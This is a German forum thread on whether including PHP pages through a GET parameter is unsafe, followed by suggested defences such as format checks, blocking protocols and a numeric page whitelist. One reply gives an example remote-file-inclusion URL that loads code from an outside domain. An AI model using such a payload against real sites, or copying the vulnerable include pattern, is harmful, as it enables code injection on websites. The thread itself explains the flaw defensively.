Sicherheitslücke

[Forumsgast]

Hallo

Stellt es eine Sicherheitslücker dar, PHP-Dateien mit $_GET in Design zu includen? Also z.B. index.php?page=login.php


Ich habe einmal ein Artikel darüber gelesen, find diesen aber nicht mehr.

Ich bin auf der Suche nach Alternativen.


Danke

[Forumsgast]

ja ist es.

da z.B. auch "index.php?page='http://meine.domain.de/boesercode.php'" funktioniert.
dieser code würde von deinem index.php eingebunden und ausgeführt werden.
somit kann man sehr einfach code eingeschleust werden.

[Forumsgast]

Welche Alternativen gibt es ohne eine Liste der zugelassenen Seiten erstellen zu müssen?

[Forumsgast]

- Formate prüfen
- Protokolle ausschließen
- auf existenz prüfen
- etc. etc. ...

[Forumsgast]

- Formate prüfen
- Protokolle ausschließen
- auf existenz prüfen
- etc. etc. ...

Ich werde die angegebene Seite auf existenz prüfen.
Hätte ich auch selber drauf kommen können...

[Forumsgast]

hmm wie wäre es mit einer indirekten lösung?
Datei "config.php":

<?
$pagelist[1] = "main.php";
$pagelist[2] = "login.php";
$pagelist[3] = "content.php";
$pagelist[4] = "feedback.php";
?>

Links sehen dann so aus:
"index.php?page=1"

Den Parameter $page kannst Du sehr einfach überprüfen (kann nur Zahl sein) und dann ein

include($pagelist[$_GET[page]]); 

machen. Vorher natürlich ein

include("config.php"); 

mario.

[Forumsgast]

hmm wie wäre es mit einer indirekten lösung?
Datei "config.php":

<?
$pagelist[1] = "main.php";
$pagelist[2] = "login.php";
$pagelist[3] = "content.php";
$pagelist[4] = "feedback.php";
?>

Links sehen dann so aus:
"index.php?page=1"

Den Parameter $page kannst Du sehr einfach überprüfen (kann nur Zahl sein) und dann ein

include($pagelist[$_GET[page]]); 

machen. Vorher natürlich ein

include("config.php"); 

mario.

Leider ist mir diese Lösung zu aufwändig...
Ich überprüfe jetzt die GET-Variable mit einem Reuglären-Ausdruck. Falls die Variable passt, überprüfe ich noch die existenz dieser Datei. Ich denke diese Schutz sollte reichen...

Vielen Dank für eure Hilfe